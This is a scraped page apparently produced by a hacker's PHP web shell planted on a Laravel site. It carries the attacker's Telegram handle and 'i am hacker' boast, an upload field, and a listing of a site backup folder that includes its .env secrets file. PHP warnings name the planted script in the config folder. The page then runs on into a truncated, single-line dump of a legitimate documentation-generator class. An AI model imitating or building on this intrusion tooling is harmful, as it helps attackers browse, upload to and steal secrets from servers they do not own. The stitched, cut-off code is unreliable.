telegram : @iamdarkcomedy i am hacker

path :/home/bisorgosof24/public_html/Backup23122024

upload file:

List of files:

name file size edit permission action
.env2733 KBDecember 22 2024 06:20:070644
404.html58370 KBNovember 20 2024 15:32:220644
502.html58368 KBNovember 20 2024 15:32:220644
Modules-December 11 2024 21:02:560755
README.md4158 KBFebruary 14 2023 12:31:560644
app-December 11 2024 17:57:480755
artisan1686 KBFebruary 14 2023 12:31:560644
bootstrap-December 11 2024 20:23:360755
composer.json3761 KBDecember 11 2024 22:15:000644
composer.lock512048 KBDecember 11 2024 22:13:280644
config-June 15 2025 02:09:360755
database-December 05 2024 20:18:120755
dfsdf dfds fd fds findex.html1420 KBNovember 20 2024 15:32:240644
error_log24486479 KBJuly 19 2025 00:35:080644
firoz-December 23 2024 13:24:460755
index.php1667 KBDecember 14 2024 05:20:360644
lang-December 11 2024 21:02:480755
modules_statuses.json472 KBNovember 20 2024 15:32:240644
mpos-March 31 2025 02:36:310755
package.json226 KBFebruary 14 2023 12:31:560644
phpunit.xml1146 KBFebruary 14 2023 12:31:560644
public-March 31 2025 02:36:310755
resources-December 11 2024 21:10:220755
routes-June 15 2025 02:09:310755
storage-December 11 2024 21:12:440755
tests-December 05 2024 20:18:120755
vendor-December 11 2024 22:13:300755
vite.config.js263 KBFebruary 14 2023 12:31:560644

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
null, 'openapi' => null, 'html' => null, 'blade' => null, 'assets' => [ 'js' => null, 'css' => null, 'images' => null, ], ]; protected string $laravelAssetsPath; public function __construct(protected DocumentationConfig $config, public PathConfig $paths) { $this->isStatic = $this->config->outputIsStatic(); $this->isExternal = $this->config->outputIsExternal(); $this->laravelTypeOutputPath = $this->getLaravelTypeOutputPath(); $this->staticTypeOutputPath = rtrim($this->config->get('static.output_path', 'public/docs'), '/'); $this->laravelAssetsPath = $this->config->get('laravel.assets_directory') ? '/' . $this->config->get('laravel.assets_directory') : "/vendor/" . $this->paths->outputPath(); } /** * @param array[] $groupedEndpoints */ public function writeDocs(array $groupedEndpoints) { // The static assets (js/, css/, and images/) always go in public/docs/. // For 'static' docs, the output files (index.html, collection.json) go in public/docs/. // For 'laravel' docs, the output files (index.blade.php, collection.json) // go in resources/views/scribe/ and storage/app/scribe/ respectively. if ($this->isExternal) { $this->writeOpenAPISpec($groupedEndpoints); $this->writePostmanCollection($groupedEndpoints); $this->writeExternalHtmlDocs(); } else { $this->writeHtmlDocs($groupedEndpoints); $this->writePostmanCollection($groupedEndpoints); $this->writeOpenAPISpec($groupedEndpoints); } $this->runAfterGeneratingHook(); } protected function writePostmanCollection(array $groups): void { if ($this->config->get('postman.enabled', true)) { c::info('Generating Postman collection'); $collection = $this->generatePostmanCollection($groups); if ($this->isStatic) { $collectionPath = "{$this->staticTypeOutputPath}/collection.json"; file_put_contents($collectionPath, $collection); } else { $outputPath = $this->paths->outputPath('collection.json'); Storage::disk('local')->put($outputPath, $collection); $collectionPath = Storage::disk('local')->path($outputPath); } c::success("Wrote Postman collection to: {$this->makePathFriendly($collectionPath)}"); $this->generatedFiles['postman'] = realpath($collectionPath); } } protected function writeOpenAPISpec(array $parsedRoutes): void { if ($this->config->get('openapi.enabled', false) || $this->isExternal) { c::info('Generating OpenAPI specification'); $spec = $this->generateOpenAPISpec($parsedRoutes); if ($this->isStatic) { Utils::makeDirectoryRecursive($this->staticTypeOutputPath); $specPath = "{$this->staticTypeOutputPath}/openapi.yaml"; file_put_contents($specPath, $spec); } else { $outputPath = $this->paths->outputPath('openapi.yaml'); Storage::disk('local')->put($outputPath, $spec); $specPath = Storage::disk('local')->path($outputPath); } c::success("Wrote OpenAPI specification to: {$this->makePathFriendly($specPath)}"); $this->generatedFiles['openapi'] = realpath($specPath); } } /** * Generate Postman collection JSON file. * * @param array[] $groupedEndpoints * * @return string */ public function generatePostmanCollection(array $groupedEndpoints): string { /** @var PostmanCollectionWriter $writer */ $writer = app()->makeWith(PostmanCollectionWriter::class, ['config' => $this->config]); $collection = $writer->generatePostmanCollection($groupedEndpoints); $overrides = $this->config->get('postman.overrides', []); if (count($overrides)) { foreach ($overrides as $key => $value) { data_set($collection, $key, $value); } } return json_encode($collection, JSON_PRETTY_PRINT); } /** * @param array[] $groupedEndpoints * * @return string */ public function generateOpenAPISpec(array $groupedEndpoints): string { /** @var OpenAPISpecWriter $writer */ $writer = app()->makeWith(OpenAPISpecWriter::class, ['config' => $this->config]); $spec = $writer->generateSpecContent($groupedEndpoints); $overrides = $this->config->get('openapi.overrides', []); if (count($overrides)) { foreach ($overrides as $key => $value) { data_set($spec, $key, $value); } } return Yaml::dump($spec, 20, 2, Yaml::DUMP_EMPTY_ARRAY_AS_SEQUENCE | Yaml::DUMP_OBJECT_AS_MAP); } protected function performFinalTasksForLaravelType(): void { if (!is_dir($this->laravelTypeOutputPath)) { mkdir($this->laravelTypeOutputPath, 0777, true); } $publicDirectory = public_path(); if (!is_dir($publicDirectory . $this->laravelAssetsPath)) { mkdir($publicDirectory . $this->laravelAssetsPath, 0777, true); } // Transform output HTML to a Blade view rename("{$this->staticTypeOutputPath}/index.html", "$this->laravelTypeOutputPath/index.blade.php"); // Move assets from public/docs to public/vendor/scribe or config('laravel.assets_directory') // We need to do this delete first, otherwise move won't work if folder exists Utils::deleteDirectoryAndContents($publicDirectory . $this->laravelAssetsPath); rename("{$this->staticTypeOutputPath}/", $publicDirectory . $this->laravelAssetsPath); $contents = file_get_contents("$this->laravelTypeOutputPath/index.blade.php"); // Rewrite asset links to go through Laravel $contents = preg_replace('#href="\.\./docs/css/(.+?)"#', 'href="{{ asset("' . $this->laravelAssetsPath . '/css/$1") }}"', $contents); $contents = preg_replace('#src="\.\./docs/(js|images)/(.+?)"#', 'src="{{ asset("' . $this->laravelAssetsPath . '/$1/$2") }}"', $contents); $contents = str_replace('href="../docs/collection.json"', 'href="{{ route("' . $this->paths->outputPath('postman', '.') . '") }}"', $contents); $contents = str_replace('href="../docs/openapi.yaml"', 'href="{{ route("' . $this->paths->outputPath('openapi', '.') . '") }}"', $contents); $contents = str_replace('url="../docs/openapi.yaml"', 'url="{{ route("' . $this->paths->outputPath('openapi', '.') . '") }}"', $contents); file_put_contents("$this->laravelTypeOutputPath/index.blade.php", $contents); } public function writeHtmlDocs(array $groupedEndpoints): void { c::info('Writing ' . ($this->isStatic ? 'HTML' : 'Blade') . ' docs...'); // Then we convert them to HTML, and throw in the endpoints as well. /** @var HtmlWriter $writer */ $writer = app()->makeWith(HtmlWriter::class, ['config' => $this->config]); $writer->generate($groupedEndpoints, $this->paths->intermediateOutputPath(), $this->staticTypeOutputPath); if (!$this->isStatic) { $this->performFinalTasksForLaravelType(); } if ($this->isStatic) { $outputPath = rtrim($this->staticTypeOutputPath, '/') . '/'; c::success("Wrote HTML docs and assets to: $outputPath"); $this->generatedFiles['html'] = realpath("{$outputPath}index.html"); $assetsOutputPath = $outputPath; } else { $outputPath = rtrim($this->laravelTypeOutputPath, '/') . '/'; c::success("Wrote Blade docs to: " . $this->makePathFriendly($outputPath)); $this->generatedFiles['blade'] = realpath("{$outputPath}index.blade.php"); $assetsOutputPath = public_path() . $this->laravelAssetsPath . '/'; c::success("Wrote Laravel assets to: " . $this->makePathFriendly($assetsOutputPath)); } $this->generatedFiles['assets']['js'] = realpath("{$assetsOutputPath}js"); $this->generatedFiles['assets']['css'] = realpath("{$assetsOutputPath}css"); $this->generatedFiles['assets']['images'] = realpath("{$assetsOutputPath}images"); } public function writeExternalHtmlDocs(): void { c::info('Writing client-side HTML docs...'); /** @var ExternalHtmlWriter $writer */ $writer = app()->makeWith(ExternalHtmlWriter::class, ['config' => $this->config]); $writer->generate([], $this->paths->intermediateOutputPath(), $this->staticTypeOutputPath); if (!$this->isStatic) { $this->performFinalTasksForLaravelType(); } if ($this->isStatic) { $outputPath = rtrim($this->staticTypeOutputPath, '/') . '/'; c::success("Wrote client-side HTML docs and assets to: $outputPath"); $this->generatedFiles['html'] = realpath("{$outputPath}index.html"); } else { $outputPath = rtrim($this->laravelTypeOutputPath, '/') . '/'; c::success("Wrote Blade docs to: " . $this->makePathFriendly($outputPath)); $this->generatedFiles['blade'] = realpath("{$outputPath}index.blade.php"); $assetsOutputPath = public_path() . $this->laravelAssetsPath . '/'; c::success("Wrote Laravel assets to: " . $this->makePathFriendly($assetsOutputPath)); } } protected function runAfterGeneratingHook() { if (is_callable(Globals::$__afterGenerating)) { c::info("Running `afterGenerating()` hook..."); call_user_func_array(Globals::$__afterGenerating, [$this->generatedFiles]); } } protected function getLaravelTypeOutputPath(): ?string { if ($this->isStatic) return null; return config( 'view.paths.0', function_exists('base_path') ? base_path("resources/views") : "resources/views" ). "/" . $this->paths->outputPath(); } /** * Turn a path from (possibly) C:\projects\myapp\resources\views * or /projects/myapp/resources/views to resources/views ie: * - make it relative to PWD * - normalise all slashes to forward slashes */ protected function makePathFriendly(string $path): string { return str_replace("\\", "/", str_replace(getcwd() . DIRECTORY_SEPARATOR, "", $path)); } }